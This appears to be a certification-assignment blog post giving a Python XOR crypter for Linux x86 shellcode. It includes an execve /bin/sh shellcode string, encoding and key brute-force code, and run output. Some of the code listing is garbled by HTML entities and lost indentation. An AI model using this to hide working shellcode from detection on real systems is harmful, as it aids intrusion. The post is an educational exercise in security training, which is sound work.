SLAE-473 ASSIGNMENT #7 Custom Crypter Shellcode

INTRODUCTION

This tutorial is part of the SecurityTube Linux Assembly Expert certification.

The goal of this assignment is to encrypt a given Linux x86 shellcode using a custom crypter.

The tutorial will contain example source with comments. Listed source code may have formatting issues so best place to obtain copies is from the project’s Github repo. This assignment will build from the previous assignments and so will not be reiterating explanations already covered there.

Methodology

  1. Write encryption and decryption algorithm using high level language
  2. Test encryption algorithm on shellcode
  3. Verify decryption algorithm on encrypted shellcode

Background

For this assignment I shall implement a simple XOR algorithm to encrypt my shellcode.

Wikipedia quote https://en.wikipedia.org/wiki/XOR_cipher

“The XOR operator is extremely common as a component in more complex ciphers. By itself, using a constant repeating key, a simple XOR cipher can trivially be broken using frequency analysis. If the content of any message can be guessed or otherwise known then the key can be revealed. Its primary merit is that it is simple to implement, and that the XOR operation is computationally inexpensive. A simple repeating XOR (i.e using the same key for xor operation on the whole data) cipher is therefore sometimes used for hiding information in cases where no particular security is required.”

xor

XOR Encryption

The algorithm is written in python.

'''
The func
XOR a byte array
'''
def xor_shellcode(xor_random_key, xor_fixed_key , plain_shellcode):
 shellcode = plain_shellcode
 encoded = ""
 encoded_shellcode = ""
 loop_count = 0 # Shellcode length
 shellcode_len = len(bytearray(shellcode))
 #Generate xor keys
 XOR_SHELL_KEY = xor_random_key
 XOR_FIX_KEY = xor_fixed_key
 XOR_TEMP_KEY = XOR_SHELL_KEY^XOR_FIX_KEY
 XOR_LEN_KEY = shellcode_len^XOR_TEMP_KEY
 
 for shellcode_byte in bytearray(shellcode) :
 loop_count += 1
 # XOR Encoding 
 y = shellcode_byte^XOR_SHELL_KEY
 encoded += '0x'
 encoded += '%02x' %y
 encoded_shellcode += '%02x' %y
 
 if loop_count < shellcode_len:
 encoded += ','

 encoded = '0x%02x,' %XOR_TEMP_KEY + encoded 
 #Prepend loop count to final encoded shellcode
 encoded = '0x%02x,' %XOR_LEN_KEY + encoded 

 print "Encrypted shellcode: %s" %encoded

 print ("Keys XOR_SHELL_KEY: 0x%02x, XOR_FIX_KEY: 0x%02x, XOR_TEMP_KEY: 0x%02x, XOR_LEN_KEY: 0x%02x" %( XOR_SHELL_KEY, XOR_FIX_KEY,XOR_TEMP_KEY, XOR_LEN_KEY ) )
 print 'Shellcode len: %d + 2 bytes for length and temp_key prefix bytes %d.\n[enc shellcode length] + [xor temp key] + [encrypted shellcode]' % (shellcode_len, shellcode_len+2)
 return (XOR_LEN_KEY, XOR_TEMP_KEY, encoded_shellcode)

Requirements: xor key used to encrypt shellcode should not be present in final encrypted shellcode.

Some way for decryption algorithm to detect end of shellcode.

Purpose of the function is to xor encrypt a given plaintext shellcode.

Requires two xor key bytes. First xor key should be random while second xor key is fixed. Each byte block of the shellcode is encrypted with a unique shellcode-xor-key byte that isn’t known to the caller of the function. To decrypt, you need to know fixed xor key and random xor key used. Reason random xor key was used was so that decryption key is not contained as plaintext in final encrypted shellcode.

Parameters: Random xor byte key, fixed xor byte key, bytearray of plaintext shellcode.

Returns: Prints to screen encrypted shellcode with two prepended bytes, encrypted byte of shellcode length, and temp xor key.

Function returns encryted byte representing shellcode length, temp xor byte key, encrypted shellcode. [shellcode length (xor)]+[temp xor key]+[xor’ed shellcode]

Test

Here is the full code listing with the decryption function.


#!/usr/bin/python
'''
Author: Mutti K
Purpose: Proof of Concept Python shellcode XOR encoder.
Paste your shellcode into the script and an the newly generated shellcode will be printed to the console.
Has ability to create new shellcode everytime because shellcode key is random, well kind off, it's 8 bits long.
Shellcode encryption key is not included in final encrypted shellcode.
Decryption involves knowing xor_fixed_key and guessing shell_key.
Limitations: Original shellcode cannot be larger than 255 bytes. This is because a single byte is used to hold shellcode length.
Know plaintext weakness. shellcode with strings like /bin/sh will be easy to identify.
If xor key is same as xor'ed shellcode byte then result is 0x00. This makes it trivial to identify xor key if run against known plaintext.
Note: This code is intended for education purposes and not for real world use. This is not real encryption.
TODO: Implement decryption algorithm in assembly with xor key cracker functionality. This is to ensure that xor key is not hardcoded.
'''
import sys
import random

settings = {'debug':1,'timeout':5,'retry':5, 'xor_fixed_key':187}
shellcode = (&quot;\x31\xc0\x89\xc2\x89\xc1\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80&quot;)

def main(argv):
shellcode_len = len(bytearray(shellcode))
if shellcode_len &amp;amp;amp;gt; 255 or shellcode_len &amp;amp;amp;lt;1:
print (&quot;Shellcode is %d bytes, Must be less than 255 bytes&quot; % shellcode_len)
else:
print &quot;Original decrypted shellcde: %s&quot; % shellcode.encode('hex')
print '\nXOR random encryption shellcode ...'
len_key, temp_key, encrypted_shellcode = xor_random(settings['xor_fixed_key'], shellcode)
#Demonstrate how decrypter will crack/reverse process
print &quot;\nGoing to crack shellcode encryption key ...&quot;
cracked_shell_key, cracked_len = crackXorKey(len_key, temp_key, settings['xor_fixed_key'])
#Verify reverse process
#Try to reverse xor process with output of new keys from previous call
print '\nReverse encrypted shellcode using cracked keys ...'
xor_shellcode( cracked_shell_key, settings['xor_fixed_key'], encrypted_shellcode.decode('hex'))

'''
Purpose: XOR encrypt shellcode. Requires two xor key bytes. First xor key is random while second xor key is fixed.
Each byte block of the shellcode is encrypted with a unique shellcode xor key byte that isn't known to the caller.
To decrypt, you need to know fixed xor key and random xor key used.
Reason random xor key was used was so that decryption key is was not contained plaintext in encrypted shellcode.
Parameters: Fixed xor byte key, bytearray of plaintext shellcode.
Returns: Prints to screen encrypted shellcode with two prepended bytes, encrypted byte of shellcode length, and temp xor key.
Function returns encryted byte representing shellcode length, temp xor byte key, encrypted shellcode. [shellcode length (xor)]+[temp xor key]+[xor'ed shellcode']
'''
def xor_random(fixed_xor_key, shellcode):
XOR_SHELL_KEY = random.randint(1,255)
XOR_FIXED_KEY = fixed_xor_key
#print &quot;SHELL KEY:&quot;+hex(XOR_SHELL_KEY)

len_key, temp_key, encrypted_shellcode = xor_shellcode(XOR_SHELL_KEY, XOR_FIXED_KEY, shellcode)
return (len_key, temp_key, encrypted_shellcode)

'''
Purpose: retrieve shellcode encryption keys. Bruteforce 255 possible keys.
'''
def crackXorKey(len_key, temp_key, fixed_key):
#Generate xor keys
XOR_SHELL_KEY = 0
SHELLCODE_LEN = 0
XOR_SHELLCODE_LEN = 0
XOR_TEMP_KEY = 0
for XOR_SHELL_KEY in range(1, 255):
XOR_TEMP_KEY = XOR_SHELL_KEY^fixed_key
if XOR_TEMP_KEY == temp_key:
for SHELLCODE_LEN in range(1, 255):
x = SHELLCODE_LEN^XOR_TEMP_KEY
if len_key == x:
print &quot;Cracked the keys. Key used to encrypt shellcode: %x. Real shellcode length: %x&quot; %( XOR_SHELL_KEY, SHELLCODE_LEN )
return (XOR_SHELL_KEY, SHELLCODE_LEN)

'''
The func
XOR a byte array
'''
def xor_shellcode(xor_random_key, xor_fixed_key , plain_shellcode):
shellcode = plain_shellcode
encoded = ''
encoded_shellcode = ''
loop_count = 0 # Shellcode length
shellcode_len = len(bytearray(shellcode))
#Generate xor keys
XOR_SHELL_KEY = xor_random_key
XOR_FIX_KEY = xor_fixed_key
XOR_TEMP_KEY = XOR_SHELL_KEY^XOR_FIX_KEY
XOR_LEN_KEY = shellcode_len^XOR_TEMP_KEY

for shellcode_byte in bytearray(shellcode) :
loop_count += 1
# XOR Encoding
y = shellcode_byte^XOR_SHELL_KEY
encoded += '0x'
encoded += '%02x' %y
encoded_shellcode += '%02x' %y

if loop_count < shellcode_len:
encoded += ','

encoded = '0x%02x,' %XOR_TEMP_KEY + encoded
#Prepend loop count to final encoded shellcode
encoded = '0x%02x,' %XOR_LEN_KEY + encoded

print 'Encrypted shellcode: %s' %encoded

print (&quot;Keys XOR_SHELL_KEY: 0x%02x, XOR_FIX_KEY: 0x%02x, XOR_TEMP_KEY: 0x%02x, XOR_LEN_KEY: 0x%02x&quot; %( XOR_SHELL_KEY, XOR_FIX_KEY,XOR_TEMP_KEY, XOR_LEN_KEY ) )
print 'Shellcode len: %d + 2 bytes for length and temp_key prefix bytes %d.\n[enc shellcode length] + [xor temp key] + [encrypted shellcode]' % (shellcode_len, shellcode_len+2)
return (XOR_LEN_KEY, XOR_TEMP_KEY, encoded_shellcode)

if __name__ == '__main__':
try:
main(sys.argv[1:])
except Exception as e:
print 'Cannot run program.\n', e
if (settings['debug'] is not None):
raise

Let’s run the code on a simple execve shellcode.

$ python rand_xor_shellcode_encoder.py 
Original decrypted shellcde: 31c089c289c150682f2f7368682f62696e89e3b00bcd80

XOR random encryption shellcode ...
Encrypted shellcode: 0xc0,0xd7,0x5d,0xac,0xe5,0xae,0xe5,0xad,0x3c,0x04,0x43,0x43,0x1f,0x04,0x04,0x43,0x0e,0x05,0x02,0xe5,0x8f,0xdc,0x67,0xa1,0xec
Keys XOR_SHELL_KEY: 0x6c, XOR_FIX_KEY: 0xbb, XOR_TEMP_KEY: 0xd7, XOR_LEN_KEY: 0xc0
Shellcode len: 23 + 2 bytes for length and temp_key prefix bytes 25.
[enc shellcode length] + [xor temp key] + [encrypted shellcode]

Going to crack shellcode encryption key ...
Cracked the keys. Key used to encrypt shellcode: 6c. Real shellcode length: 17

Reverse encrypted shellcode using cracked keys ...
Encrypted shellcode: 0xc0,0xd7,0x31,0xc0,0x89,0xc2,0x89,0xc1,0x50,0x68,0x2f,0x2f,0x73,0x68,0x68,0x2f,0x62,0x69,0x6e,0x89,0xe3,0xb0,0x0b,0xcd,0x80
Keys XOR_SHELL_KEY: 0x6c, XOR_FIX_KEY: 0xbb, XOR_TEMP_KEY: 0xd7, XOR_LEN_KEY: 0xc0
Shellcode len: 23 + 2 bytes for length and temp_key prefix bytes 25.
[enc shellcode length] + [xor temp key] + [encrypted shellcode]

From the output we can see that the first encryption process produced the the following cipher text

0xc0,0xd7,0x5d,0xac,0xe5,0xae,0xe5,0xad,0x3c,0x04,0x43,0x43,0x1f,0x04,0x04,0x43,0x0e,0x05,0x02,0xe5,0x8f,0xdc,0x67,0xa1,0xec
Keys XOR_SHELL_KEY: 0x6c, XOR_FIX_KEY: 0xbb, XOR_TEMP_KEY: 0xd7, XOR_LEN_KEY: 0xc0

The random shellcode-xor-key was 0x6c and the fixed-xor-key was  0xbb

These keys are not present within the encrypted shellcode output.

The decryption is basically running through the same function with the same keys but using the encrypted shellcode as the bytearray. This should reverse the process of the xor function.

Encrypted shellcode: 0xc0,0xd7,0x31,0xc0,0x89,0xc2,0x89,0xc1,0x50,0x68,0x2f,0x2f,0x73,0x68,0x68,0x2f,0x62,0x69,0x6e,0x89,0xe3,0xb0,0x0b,0xcd,0x80
Keys XOR_SHELL_KEY: 0x6c, XOR_FIX_KEY: 0xbb, XOR_TEMP_KEY: 0xd7, XOR_LEN_KEY: 0xc0

As we can see the shellcode matches the original shellcode.

Thank you


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student-ID: SLAE-473


2 thoughts on “SLAE-473 ASSIGNMENT #7 Custom Crypter Shellcode

  1. Pingback: Shellcode XOR Encoder and Decoder for Linux (x86) | doyler.net

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s